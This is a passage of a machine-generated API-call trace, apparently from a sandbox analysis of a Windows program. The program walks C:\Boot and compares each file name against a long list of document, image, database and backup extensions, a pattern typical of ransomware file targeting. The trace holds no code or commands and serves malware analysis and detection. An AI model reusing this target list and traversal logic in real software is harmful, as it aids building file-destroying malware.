lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0223.531] lstrlenW (lpString=".accdc") returned 6 [0223.531] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0223.531] lstrlenW (lpString=".accde") returned 6 [0223.531] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0223.531] lstrlenW (lpString=".accdt") returned 6 [0223.531] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0223.531] lstrlenW (lpString=".accdw") returned 6 [0223.531] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0223.531] lstrlenW (lpString=".adb") returned 4 [0223.531] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".adp") returned 4 [0223.531] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".ai") returned 3 [0223.531] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0223.531] lstrlenW (lpString=".ai3") returned 4 [0223.531] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".ai4") returned 4 [0223.531] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".ai5") returned 4 [0223.532] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".ai6") returned 4 [0223.532] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".ai7") returned 4 [0223.532] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".ai8") returned 4 [0223.532] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".anim") returned 5 [0223.532] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1 [0223.532] lstrlenW (lpString=".arw") returned 4 [0223.532] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".as") returned 3 [0223.532] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1 [0223.532] lstrlenW (lpString=".asa") returned 4 [0223.532] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".asc") returned 4 [0223.532] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".ascx") returned 5 [0223.532] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1 [0223.532] lstrlenW (lpString=".asm") returned 4 [0223.532] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".asmx") returned 5 [0223.532] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1 [0223.532] lstrlenW (lpString=".asp") returned 4 [0223.532] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".aspx") returned 5 [0223.532] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1 [0223.532] lstrlenW (lpString=".asr") returned 4 [0223.532] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".asx") returned 4 [0223.532] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1 [0223.532] lstrlenW (lpString=".avi") returned 4 [0223.532] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".avs") returned 4 [0223.533] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".backup") returned 7 [0223.533] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1 [0223.533] lstrlenW (lpString=".bak") returned 4 [0223.533] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".bay") returned 4 [0223.533] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".bd") returned 3 [0223.533] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1 [0223.533] lstrlenW (lpString=".bin") returned 4 [0223.533] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".bmp") returned 4 [0223.533] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".bz2") returned 4 [0223.533] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".c") returned 2 [0223.533] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1 [0223.533] lstrlenW (lpString=".cdr") returned 4 [0223.533] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".cer") returned 4 [0223.533] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".cf") returned 3 [0223.533] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1 [0223.533] lstrlenW (lpString=".cfc") returned 4 [0223.533] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".cfm") returned 4 [0223.533] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".cfml") returned 5 [0223.533] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1 [0223.533] lstrlenW (lpString=".cfu") returned 4 [0223.533] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1 [0223.533] lstrlenW (lpString=".chm") returned 4 [0223.534] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".cin") returned 4 [0223.534] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".class") returned 6 [0223.534] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1 [0223.534] lstrlenW (lpString=".clx") returned 4 [0223.534] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".config") returned 7 [0223.534] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1 [0223.534] lstrlenW (lpString=".cpp") returned 4 [0223.534] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".cr2") returned 4 [0223.534] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".crt") returned 4 [0223.534] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".crw") returned 4 [0223.534] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".cs") returned 3 [0223.534] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0223.534] lstrlenW (lpString=".css") returned 4 [0223.534] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".csv") returned 4 [0223.534] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".cub") returned 4 [0223.534] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".dae") returned 4 [0223.534] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".dat") returned 4 [0223.534] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0223.534] lstrlenW (lpString=".db") returned 3 [0223.534] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0223.534] lstrlenW (lpString=".dbf") returned 4 [0223.534] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dbx") returned 4 [0223.535] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dc3") returned 4 [0223.535] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dcm") returned 4 [0223.535] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dcr") returned 4 [0223.535] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".der") returned 4 [0223.535] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dib") returned 4 [0223.535] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dic") returned 4 [0223.535] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dif") returned 4 [0223.535] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".divx") returned 5 [0223.535] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0223.535] lstrlenW (lpString=".djvu") returned 5 [0223.535] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0223.535] lstrlenW (lpString=".dng") returned 4 [0223.535] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".doc") returned 4 [0223.535] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".docm") returned 5 [0223.535] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0223.535] lstrlenW (lpString=".docx") returned 5 [0223.535] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0223.535] lstrlenW (lpString=".dot") returned 4 [0223.535] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0223.535] lstrlenW (lpString=".dotm") returned 5 [0223.535] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0223.535] lstrlenW (lpString=".dotx") returned 5 [0223.535] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0223.536] lstrlenW (lpString=".dpx") returned 4 [0223.536] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".dqy") returned 4 [0223.536] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".dsn") returned 4 [0223.536] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".dt") returned 3 [0223.536] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0223.536] lstrlenW (lpString=".dtd") returned 4 [0223.536] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".dwg") returned 4 [0223.536] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".dwt") returned 4 [0223.536] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".dx") returned 3 [0223.536] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0223.536] lstrlenW (lpString=".dxf") returned 4 [0223.536] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".edml") returned 5 [0223.536] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0223.536] lstrlenW (lpString=".efd") returned 4 [0223.536] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".elf") returned 4 [0223.536] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0223.536] lstrlenW (lpString=".emf") returned 4 [0223.536] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0223.536] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0223.537] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0223.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.537] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName=".", cAlternateFileName="")) returned 0x6d0248 [0223.537] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName="..", cAlternateFileName="")) returned 1 [0223.538] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.538] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffc013, dwReserved1=0x15, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.538] FindClose (in: hFindFile=0x6d0248 | out: hFindFile=0x6d0248) returned 1 [0223.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.538] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0223.538] lstrlenW (lpString="bootspaces.dll") returned 14 [0223.538] lstrlenW (lpString=".1cd") returned 4 [0223.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.538] lstrlenW (lpString=".3ds") returned 4 [0223.538] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0223.538] lstrlenW (lpString=".3fr") returned 4 [0223.538] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0223.538] lstrlenW (lpString=".3g2") returned 4 [0223.539] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0223.539] lstrlenW (lpString=".3gp") returned 4 [0223.539] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0223.539] lstrlenW (lpString=".7z") returned 3 [0223.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.539] lstrlenW (lpString=".accda") returned 6 [0223.539] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0223.539] lstrlenW (lpString=".accdb") returned 6 [0223.539] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0223.539] lstrlenW (lpString=".accdc") returned 6 [0223.539] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0223.539] lstrlenW (lpString=".accde") returned 6 [0223.539] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0223.539] lstrlenW (lpString=".accdt") returned 6 [0223.539] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0223.539] lstrlenW (lpString=".accdw") returned 6 [0223.539] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0223.539] lstrlenW (lpString=".adb") returned 4 [0223.539] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0223.539] lstrlenW (lpString=".adp") returned 4 [0223.539] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0223.539] lstrlenW (lpString=".ai") returned 3 [0223.539] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0223.539] lstrlenW (lpString=".ai3") returned 4 [0223.539] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0223.539] lstrlenW (lpString=".ai4") returned 4 [0223.540] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".ai5") returned 4 [0223.540] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".ai6") returned 4 [0223.540] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".ai7") returned 4 [0223.540] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".ai8") returned 4 [0223.540] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".anim") returned 5 [0223.540] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0223.540] lstrlenW (lpString=".arw") returned 4 [0223.540] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".as") returned 3 [0223.540] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0223.540] lstrlenW (lpString=".asa") returned 4 [0223.540] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".asc") returned 4 [0223.540] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".ascx") returned 5 [0223.540] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0223.540] lstrlenW (lpString=".asm") returned 4 [0223.540] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".asmx") returned 5 [0223.540] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0223.540] lstrlenW (lpString=".asp") returned 4 [0223.540] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0223.540] lstrlenW (lpString=".aspx") returned 5 [0223.541] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0223.541] lstrlenW (lpString=".asr") returned 4 [0223.541] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".asx") returned 4 [0223.541] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".avi") returned 4 [0223.541] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".avs") returned 4 [0223.541] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".backup") returned 7 [0223.541] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0223.541] lstrlenW (lpString=".bak") returned 4 [0223.541] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".bay") returned 4 [0223.541] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".bd") returned 3 [0223.541] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0223.541] lstrlenW (lpString=".bin") returned 4 [0223.541] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".bmp") returned 4 [0223.541] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".bz2") returned 4 [0223.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.541] lstrlenW (lpString=".c") returned 2 [0223.541] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0223.541] lstrlenW (lpString=".cdr") returned 4 [0223.542] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".cer") returned 4 [0223.542] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".cf") returned 3 [0223.542] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0223.542] lstrlenW (lpString=".cfc") returned 4 [0223.542] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".cfm") returned 4 [0223.542] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".cfml") returned 5 [0223.542] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0223.542] lstrlenW (lpString=".cfu") returned 4 [0223.542] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".chm") returned 4 [0223.542] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".cin") returned 4 [0223.542] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".class") returned 6 [0223.542] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0223.542] lstrlenW (lpString=".clx") returned 4 [0223.542] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".config") returned 7 [0223.542] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0223.542] lstrlenW (lpString=".cpp") returned 4 [0223.542] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0223.542] lstrlenW (lpString=".cr2") returned 4 [0223.542] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".crt") returned 4 [0223.543] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".crw") returned 4 [0223.543] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".cs") returned 3 [0223.543] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0223.543] lstrlenW (lpString=".css") returned 4 [0223.543] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".csv") returned 4 [0223.543] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".cub") returned 4 [0223.543] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".dae") returned 4 [0223.543] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".dat") returned 4 [0223.543] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".db") returned 3 [0223.543] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0223.543] lstrlenW (lpString=".dbf") returned 4 [0223.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".dbx") returned 4 [0223.543] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".dc3") returned 4 [0223.543] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0223.543] lstrlenW (lpString=".dcm") returned 4 [0223.543] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0223.544] lstrlenW (lpString=".dcr") returned 4 [0223.544] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0223.544] lstrlenW (lpString=".der") returned 4 [0223.544] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0223.544] lstrlenW (lpString=".dib") returned 4 [0223.544] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0223.544] lstrlenW (lpString=".dic") returned 4 [0223.544] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0223.544] lstrlenW (lpString=".dif") returned 4 [0223.544] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0223.544] lstrlenW (lpString=".divx") returned 5 [0223.544] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0223.544] lstrlenW (lpString=".djvu") returned 5 [0223.544] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0223.544] lstrlenW (lpString=".dng") returned 4 [0223.544] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0223.544] lstrlenW (lpString=".doc") returned 4 [0223.544] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0223.544] lstrlenW (lpString=".docm") returned 5 [0223.544] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0223.544] lstrlenW (lpString=".docx") returned 5 [0223.544] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0223.544] lstrlenW (lpString=".dot") returned 4 [0223.544] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0223.544] lstrlenW (lpString=".dotm") returned 5 [0223.544] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0223.544] lstrlenW (lpString=".dotx") returned 5 [0223.544] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0223.545] lstrlenW (lpString=".dpx") returned 4 [0223.545] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".dqy") returned 4 [0223.545] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".dsn") returned 4 [0223.545] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".dt") returned 3 [0223.545] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0223.545] lstrlenW (lpString=".dtd") returned 4 [0223.545] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".dwg") returned 4 [0223.545] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".dwt") returned 4 [0223.545] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".dx") returned 3 [0223.545] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0223.545] lstrlenW (lpString=".dxf") returned 4 [0223.545] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".edml") returned 5 [0223.545] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0223.545] lstrlenW (lpString=".efd") returned 4 [0223.545] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".elf") returned 4 [0223.545] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".emf") returned 4 [0223.545] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".emz") returned 4 [0223.545] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".epf") returned 4 [0223.545] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".eps") returned 4 [0223.545] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0223.545] lstrlenW (lpString=".epsf") returned 5 [0223.546] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0223.546] lstrlenW (lpString=".epsp") returned 5 [0223.546] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0223.546] lstrlenW (lpString=".erf") returned 4 